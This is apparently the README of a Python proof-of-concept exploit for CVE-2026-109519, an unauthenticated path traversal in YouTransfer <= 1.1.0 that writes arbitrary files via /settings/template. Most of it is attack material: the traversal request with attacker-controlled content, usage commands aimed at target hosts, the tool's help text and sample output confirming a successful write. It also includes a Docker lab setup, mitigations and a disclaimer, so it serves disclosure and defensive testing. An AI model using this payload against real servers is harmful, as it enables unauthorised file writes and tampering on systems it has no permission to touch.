
Exploit PoC em Python para CVE-2026-109519, uma path traversal não autenticada no YouTransfer <= 1.1.0 que grava arquivos arbitrários via /settings/template, com verificação de escrita.
Escrita Arbitrária de Arquivos via Path Traversal no YouTransfer
/settings/template
| Campo | Detalhe |
|---|---|
| ID CVE | CVE-2026-109519 |
| ID VulDB | 417175 |
| Produto | YouTransfer |
| Versão Afetada | <= 1.1.0 |
| Tipo | Path Traversal / Escrita Arbitrária de Arquivos |
| Vetor de Ataque | Rede (não autenticado) |
| Pontuação CVSS | 8.3 — Alta |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L |
| CWE | CWE-22 (Limitação Imprópria de um Nome de Caminho a um Diretório Restrito) |
| Autor | @0xgh0stri13y |
O YouTransfer expõe um endpoint /settings/template não autenticado que permite a escrita de arquivos de template no disco. O parâmetro template é passado diretamente para o sistema de arquivos sem qualquer sanitização de sequências de path traversal (../).
Um atacante pode abusar disso para escrever conteúdo arbitrário em qualquer caminho acessível pelo processo da aplicação, escapando completamente do diretório de templates pretendido.
POST /settings/template
template=../../../arbitrary/path/file.txt ← no path validation
body=ATTACKER_CONTROLLED_CONTENT ← no content filtering
A aplicação confia no parâmetro template como um caminho relativo e grava o conteúdo de body nesse local sem:
../path.resolve() ou salvaguardas semelhantes┌─────────────────────────┐
│ Attacker │
└────────┬────────────────┘
│
│ POST /settings/template
│ template = ../../../target/path/file.ext
│ body = <attacker-controlled content>
│
▼
┌─────────────────────────┐
│ YouTransfer Server │
│ (No auth required) │
│ │
│ path.join(templateDir, │
│ "../../../target/..") │
│ │
│ Writes content to disk │
│ OUTSIDE templates dir │
└─────────────────────────┘
│
▼
File written to arbitrary
location on the server
# Write a proof-of-concept file to demonstrate path traversal
python exploit.py -t http://target:5000
# Write to a custom path outside the templates directory
python exploit.py -t http://target:5000 -p "../../../tmp/pwned.txt" -b "CVE-2026-109519 PoC"
# Verify with a benign canary file
python exploit.py -t http://target:5000 -p "../views/pages/canary.html" -b "<h1>Path Traversal PoC</h1>"
$ python exploit.py --help
usage: exploit.py [-h] -t TARGET [-p TEMPLATE_PATH] [-b BODY] [--timeout TIMEOUT] [--verify]
CVE-2026-109519 — YouTransfer <= 1.1.0 — Unauthenticated Path Traversal (Arbitrary File Write)
options:
-h, --help show this help message and exit
-t, --target TARGET YouTransfer base URL (e.g. http://victim:5000)
-p, --template-path TEMPLATE_PATH
Traversal path for the template parameter
(default: ../poc_pathtraversal.txt)
-b, --body BODY Content to write to the file
(default: CVE-2026-109519 Path Traversal PoC by @0xgh0stri13y)
--timeout TIMEOUT HTTP timeout in seconds (default: 15)
--verify Attempt to verify the write via GET request
┌─────────────────────────────────────────────────┐
│ CVE-2026-109519 PoC Exploit │
│ YouTransfer <= 1.1.0 Path Traversal (CWE-22) │
└─────────────────────────────────────────────────┘
Unauthenticated Arbitrary File Write
github.com/0xgh0stri13y
[*] Target : http://target:5000
[*] Path : ../poc_pathtraversal.txt
────────────────────────────────────────────────────────
[*] Checking target: http://target:5000
[+] Target is alive and running YouTransfer
[*] Sending path traversal payload via POST /settings/template
[*] template = ../poc_pathtraversal.txt
[*] body = CVE-2026-109519 Path Traversal PoC by @0xgh0stri13y
[+] Payload delivered successfully (HTTP 200, no auth required)
[*] Verifying file write...
[+] Verification successful — file content matches payload ✓
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Path traversal confirmed — arbitrary file write verified
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Exploit completed successfully — Path Traversal confirmed ✓
Inicie uma instância vulnerável usando Docker:
docker pull remie/youtransfer:stable
docker run -d -p 5000:5000 --name youtransfer-vuln remie/youtransfer:stable
Em seguida, execute o exploit:
python exploit.py -t http://127.0.0.1:5000 --verify
/settings/template — exija uma sessão de administrador válida.template — rejeite ou remova sequências ../; use path.resolve() e verifique se o caminho resolvido permanece dentro do diretório de templates pretendido.Esta ferramenta e as informações fornecidas destinam-se exclusivamente a investigação de segurança autorizada e fins educacionais. A utilização deste exploit contra sistemas sem permissão escrita explícita do proprietário é ilegal e antiética. O autor não se responsabiliza por qualquer uso indevido ou dano causado por esta ferramenta.